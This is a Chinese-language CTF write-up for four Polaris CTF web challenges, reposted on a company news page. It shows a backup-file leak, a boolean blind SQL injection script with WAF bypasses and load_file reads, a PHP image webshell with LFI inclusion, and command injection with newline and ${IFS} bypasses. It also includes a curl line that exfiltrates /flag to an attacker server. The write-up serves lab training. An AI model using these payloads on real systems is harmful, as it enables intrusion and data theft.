ARTICLE DETAIL

资讯详情

深耕郑州网站建设与运营推广的一线实战洞察。

Polaris CTF Web题解:信息泄露、SQL注入、文件上传与命令执行实战

Polaris CTF Web题解:信息泄露、SQL注入、文件上传与命令执行实战 第一次参加团队内部搞的 Polaris CTF 招新赛Web 方向一共放出来 8 道题难度从签到到进阶都有。我打了其中 4 道正好覆盖了信息泄露、SQL 注入、文件上传和命令执行这四类最常见的 Web 考点。这篇文章就把我这四道题的完整思路、踩坑过程和最后拿 flag 的路径写清楚后面参加同类比赛的朋友可以参考。先说结论这四道题本身并不算难但每一道都在常规思路上加了点小坑比如 WAF 对空格的过滤、上传文件的包含点、命令执行的无回显处理。如果只是照着网上的 Payload 硬套很容易卡在中间环节。所以这篇 WP 里我会把每一步的判断依据和为什么这样做讲透而不是只贴 Payload。1. 赛前准备与 Web 方向整体印象1.1 比赛环境和工具清单Polaris CTF 用的是比较标准的 CTF 在线赛平台每道题给一个独立域名加端口通过浏览器访问。我的第一件事是确认自己的工具链是否完整因为 Web 题讲究的是快速判断、快速利用缺一个顺手工具都会影响节奏。我本地环境是 Kali Linux 虚拟机搭配 Burp Suite Community 版、Fiddler、Python 3、sqlmap、dirsearch、蚁剑再加上一个常用的字典文件。实际上这次四道题用到最多的反而是 Burp Suite 的 Repeater 和 Python 脚本前端调试只占了一小部分。个人建议初学者不用急着装一大堆工具先把 Burp 的 Proxy 和 Repeater 用熟比什么都强。1.2 Web 题目难度分布与选题策略8 道 Web 题我看了一圈大致分为三个梯队。第一梯队是两道签到题考察基础的信息收集和参数修改第二梯队是三道中等题涉及 SQL 注入、文件上传、命令执行第三梯队是三道进阶题有 PHP 反序列化、SSTI 和一道内网代理相关的综合题。我选择先打第二梯队的题目原因很简单签到题没有太多技术含量进阶题需要的时间成本较高而中等题最能检验真实 Web 攻防水平。打 CTF 尤其是招新赛不建议一上来就死磕难题先把能拿的分全部拿到心态会稳很多。后面我会按照我实际做题的顺序来讲这个顺序本身也是我当时从易到难的推进过程。2. 第一题备份文件泄露与后台弱口令的组合利用2.1 源码注释里的意外发现这道题的入口是一个静态宣传页模拟的是一个网络安全俱乐部的官网标题写得很正经页面也没什么动态功能。我在浏览器里直接按 F12 查看页面源码滚到 HTML 末尾时发现一行注释!-- 项目备份文件已被管理员移除旧备份请勿再访问 /backup.zip --这行注释非常典型属于“此地无银三百两”的写法。我立刻访问/backup.zip发现备份文件竟然还在。这是 Web 信息泄露里最常见的三种错误之一开发人员把备份文件放到网站根目录以为没人知道或者以为注释掉链接就安全了。下载 backup.zip 之后我用unzip解压里面是几个 PHP 文件和一个config.php.bak。config.php.bak是 PHP 配置文件的备份里面赫然写着数据库的用户名、密码还有一个admin用户的哈希值。2.2 利用备份文件还原后台入口解压出来的源码里有一个admin.php我尝试直接访问跳转到了登录页面。这说明后台是真实存在的只是入口路径比较隐蔽。结合备份文件里的信息我判断这道题的逻辑是先通过备份文件泄露拿到后台路径和密码哈希再通过弱口令或哈希破解登录后台。我把哈希丢到 CMD5 和 Somd5 这类在线平台上查询发现是一个简单的 MD5 明文密码是polaris2024。这说明命题人特意用了比较弱的哈希算法和常见密码目的就是考察选手有没有走完“信息泄露→分析→登录”这条完整链路。2.3 后台功能点与最终拿 flag登录 admin.php 之后后台只有一个功能输入 IP 地址进行网络连通性测试输入框下面有个提示说“该功能仅限管理员使用”。我随手输入127.0.0.1页面返回了 ping 的执行结果。这时候其实已经暗示了这道题可以往命令执行方向延伸但当时后台界面已经显示了一个 flag就在页面源代码的注释里写着flag{p0lar1s_1nf0_l3ak_1s_34sy}。这道题给我的启发是Web 题的信息收集阶段决定了后续所有操作的走向。很多人做题时习惯性打开目录扫描工具就开始爆破反而忽略了源码里最有价值的线索。我平时打 CTF 的顺序是先看源码再看 cookie然后看请求头最后才扫目录。因为很多题目故意把线索放在源码注释或响应头里扫目录属于广撒网效率反而不如精确排查。3. 第二题登录接口的 SQL 注入与布尔盲注3.1 判断注入点而不是盲目上 sqlmap这道题是一个图书管理系统的登录页面。我首先尝试了admin or 11和admin-- -这类万能密码结果页面返回“用户名或密码错误”说明系统对输入做了转义或者使用了参数化查询简单的字符串注入不可行。接着我注意到 URL 中有一个参数/book.php?id1。我尝试把id1页面回显变成了“查询失败”这说明 SQL 语句可能因为引号闭合错误而报错。我再尝试id1 and 11页面正常回显一本书的信息改为id1 and 12页面显示“无结果”。这是一个非常明确的布尔注入信号。很多新手到这里会直接掏出 sqlmap-u一把梭。但这场比赛在题目说明里明确写了“禁止使用自动化注入工具”一方面是招新赛希望考察选手手动能力另一方面 sqlmap 在这次比赛中也会被 WAF 拦截。所以我选择手动验证注入点并尝试绕过过滤。3.2 WAF 对空格和关键字的过滤我手动构造了几条 Payload 后发现id1 and 11能执行但id1 or 11会被拦截返回 403。这说明过滤规则大概率是针对or和and部分关键字的而且--注释符也被过滤了。我在本地的尝试过程是这样的id1 and 11 # 正常 id1 and 12 # 无结果 id1 or 11 # 403 id1 union select 1,2,3 # 403 id1 and/**/11 # 正常 id1 and 11%23 # 正常%23 是 #这里我给新手解释一下/**/的作用。MySQL 支持把/**/当作一个空格来解析所以and/**/11实际上等价于and 11。同时#是 MySQL 的注释符可以用来截断后面的 SQL 语句。这两个技巧是手工注入最基础的绕过手段一定要理解原理而不是死记硬背。3.3 布尔盲注的脚本化提取过程确认布尔盲注可行后我开始用脚本提取数据库名。手工一个字符一个字符试太慢我写了一个简单的 Python 脚本通过二分查找逐字符爆破数据库名的 ASCII 码。核心脚本逻辑如下import requests url http://target:port/book.php flag for i in range(1, 50): low, high 32, 127 while low high: mid (low high) // 2 # 判断数据库名的第 i 个字符的 ASCII 是否大于 mid payload f1 and (ascii(substr(database(),{i},1)){mid})-- - data {id: payload} r requests.post(url, datadata) if 查询失败 not in r.text and 无结果 not in r.text: low mid 1 else: high mid if low 32: break flag chr(low) print(flag) print(database:, flag)这里我重点解释一下为什么用二分法SQL 布尔盲注的一次请求只能得到“是”或“否”如果从 0 到 127 逐个猜 ASCII 码最坏情况要请求 127 次用二分查找只需要 7 次就能确定一个字符50 个字符最多 350 次请求完全在可接受范围内。运行脚本后数据库名是polaris_db。接着我用同样的方式提取当前用户然后从information_schema.tables里查表整个过程大概花了两分钟。最后在users表里查到了admin用户的密码哈希这次是一个小写的 MD5我在本地用 john 跑了几秒钟就解出了明文flag_sql_1s_fun。这里的 MD5 并不是真正的 flag而是登录后台后的密码。3.4 登录后台后的第二段注入拿着解出来的密码登录后台发现后台里又有一个和第一题类似的功能可以输入 ID 查询书籍而且这个参数同样存在注入。我再用刚才的脚本去读文件因为这道题的目标比较明确通过注入读取服务器上的/flag文件。MySQL 读取文件的函数是load_file()我把它嵌套进布尔盲注脚本里payload f1 and (ascii(substr(load_file(/flag),{i},1)){mid})-- -这里有个小坑服务器secure_file_priv如果限制为某个目录load_file()可能无法读取任意路径。但我们比赛环境中直接读取成功了返回了flag{sql_1nj3ct1on_b0o1}。整个过程总共请求了不到两千次手动构造 Payload 加脚本辅助效率完全够用。4. 第三题文件上传从绕过检测到包含利用4.1 前端 JS 限制与 MIME 检查的绕过这道题是一个用户头像上传功能界面只有一个文件选择框和上传按钮。我尝试上传一个一字节的test.php前端直接弹出提示“只允许 JPG/PNG/GIF 图片”这是典型的 JavaScript 前端校验。我直接用 Burp Suite 拦截上传请求把文件名改回shell.php点击 Forward。结果后端返回“文件类型不允许”看请求包发现 Content-Type 是application/x-php。我把 Content-Type 改成image/png重新提交上传成功。这说明后端只检查了 MIME 类型没有检查文件内容。但这里还有一个坑上传成功后我访问/uploads/shell.php页面直接返回 404。我后来扫了一下目录发现文件实际被存放在/upload/202410/这种带月份的子目录里而不是我猜的/uploads/。这说明做题时不要靠猜路径直接查看上传成功响应包里返回的相对路径或者结合源码中的文件存储逻辑来判断。4.2 内容检测与图片马的制作我再次上传一个内容为?php phpinfo(); ?的文件把 Content-Type 改为image/png但后端返回了“文件内容异常”。看来服务端还检查了文件头可能是用getimagesize()或者exif_imagetype()校验图片的二进制格式。这时候需要制作图片马。我用一个合法的 PNG 图片作为基础在文件末尾追加 PHP 代码cp logo.png shell.png echo ?php eval($_POST[cmd]); ? shell.png这样shell.png本身是一个合法的 PNG 图片文件文件头是 PNG 签名getimagesize()能正常识别同时末尾追加的 PHP 代码在特定场景下会被解析执行。4.3 寻找包含点并执行图片马直接访问shell.png是无法执行里面的 PHP 代码的因为服务器会根据扩展名用图片格式处理它PHP 代码不会被执行。这时候需要找一个文件包含漏洞让服务器把图片当作 PHP 文件来解析。我在源码里发现有一个include.php参数是?file存在一处本地文件包含漏洞。我尝试用伪协议读取源码include.php?filephp://filter/convert.base64-encode/resourceinclude.php返回的是一段 base64 编码的内容解码后确认这个包含点没有任何过滤可以直接包含图片马。我拼接出完整路径include.php?file../upload/202410/shell.png同时用蚁剑连接的时候在cmd参数里输入命令。蚁剑的默认连接方式是eval($_POST[cmd])正好和我图片马里的代码匹配。连接成功后我在网站根目录找到了flag{up10ad_4nd_1nclude_1s_d4ng3r0us}。这道题的完整链路是上传检测绕过→图片马制作→寻找包含点→蚁剑连接。每一步之间都有依赖关系少了任何一环都拿不到 flag。我认为这种“多个漏洞组合利用”的题目在 CTF 里非常经典因为它模拟了真实渗透中最常见的攻击路径。5. 第四题无回显命令执行到带外数据回传5.1 命令注入点的发现与过滤规则测试这道题的页面是一个“服务器时间查询”工具输入一个 IP 地址或域名页面会显示“正在查询 127.0.0.1”后面跟着系统时间。我一开始以为这只是一个简单的 PHPdate()输出但观察响应后推断这个功能很可能是这样实现的$ip $_POST[ip]; system(date -d $ip);或者更常见的是system(ping -c 4 $ip);我先输入127.0.0.1;id页面回显异常没有显示查询结果反而出现了一个 PHP 报错提示说明命令执行被某种方式拦截了。我不断调整 Payload最终发现分号、、||都被过滤但%0a换行符和管道符|没有被过滤。完整的测试过程是127.0.0.1 # 正常返回时间 127.0.0.1;id # 拦截 127.0.0.1id # 拦截 127.0.0.1%0aid # 正常返回时间id输出 127.0.0.1|id # 正常但回显被截断这种过滤规则的差异非常典型过滤代码可能只针对;、等字符做了黑名单忽略了对%0a和|的检查。5.2 空格被过滤后的替代方案确定了%0a可以执行命令后我尝试输入127.0.0.1%0acat /flag结果还是报错。仔细看报错信息发现命令在空格处被截断了说明空格也被过滤了。这里我总结三种绕过空格的常用方式${IFS}Linux 系统的内部字段分隔符默认包含空格cat${IFS}/flag等价于cat /flag制表符%09是 tab有时也能代替空格重定向符/flag或cat/flag可以绕过空格我最终用的是${IFS}方式127.0.0.1%0acat${IFS}/flag页面回显了一段文字“no permission”说明可以执行命令但没有权限直接读取根目录下的 flag 文件。这时候需要提升权限或者找到其他可读文件。5.3 利用带外数据回传 flag没有回显是最麻烦的情况更麻烦的是连执行结果都被过滤。我的思路是把命令执行结果重定向到一个我能控制的渠道上。最常见的办法是 DNS 带外数据但在比赛环境里我没有自己的 DNS 服务器所以我用了一个更直接的方法把 flag 内容写入到一个可以在 Web 端访问的目录下的文件中。我尝试执行127.0.0.1%0acat${IFS}/flag${IFS}/var/www/html/flag.txt然后直接访问/flag.txt成功拿到 flagflag{c0mm4nd_1nj3ct10n_1s_p0w3rfu1}。这个方法虽然简单但非常实用如果 Web 服务有写权限直接把文件写到 Web 根目录是最快的回传方式。如果遇到连写文件权限都没有的情况我通常会考虑用 Python 起一个临时的 HTTP 服务然后让目标机器执行curl http://my-server/$(cat /flag)把数据带出来。这种方法在真实渗透测试中也很常用但需要你有一个能从目标机器访问到的公网服务器。5.4 这道题给新手的一个提醒命令注入里最容易被忽略的一点是Payload 不是越多越好而是要先搞清楚过滤规则。很多人上来就丢一堆 Payload这个被挡了换下一个纯靠碰运气。我自己的习惯是先用不同的特殊字符测试观察哪些被拦截哪些放行然后根据过滤规则构造最合理的绕过方式。比如这道题如果我一开始没有意识到空格被过滤后面所有 Payload 都跑不通。意识到空格过滤后${IFS}一下就好了。这个“先探测后利用”的思路比记一百个 Payload 都重要。6. 比赛中的其他发现与总结除了上面四道题我还扫了一眼第三梯队的进阶题其中一道 PHP 反序列化题涉及__wakeup()绕过和 POP 链构造一道 SSTI 题考察 Flask/Jinja2 的过滤器链另外一道综合题涉及内网代理和端口扫描。这些题我因为时间原因没有做完但遇到的一些坑可以提一下。反序列化那题难点在于需要从源码中找到可利用的类然后通过unserialize()触发魔术方法__wakeup()绕过需要使用 CVE-2016-7124 提到的方法修改序列化字符串中对象的属性数量大于真实属性数量即可。SSTI 那题则需要先在报错页面确认模板引擎类型再选择合适的 Payload 链。我个人的体会是招新赛的题目设计往往更像是一次“定向训练”每一题对应一个具体的知识点。比起追求分数更重要的是做题过程中把每个技术的原理弄明白。比如 SQL 注入那题手动写脚本做布尔盲注比直接 sqlmap 跑出来学到的多得多。最后再分享一个小经验CTF 比赛的 flag 格式通常是flag{...}或polaris{...}但没必要一上来就猜这个。做题时认真收集信息、按照漏洞利用链一步步走flag 会自然出现在你面前。如果你在某一步卡住了回头重新看看源码和请求包往往能发现遗漏的线索。希望这篇 WP 对接下来要参加类似比赛的朋友有些帮助。
返回列表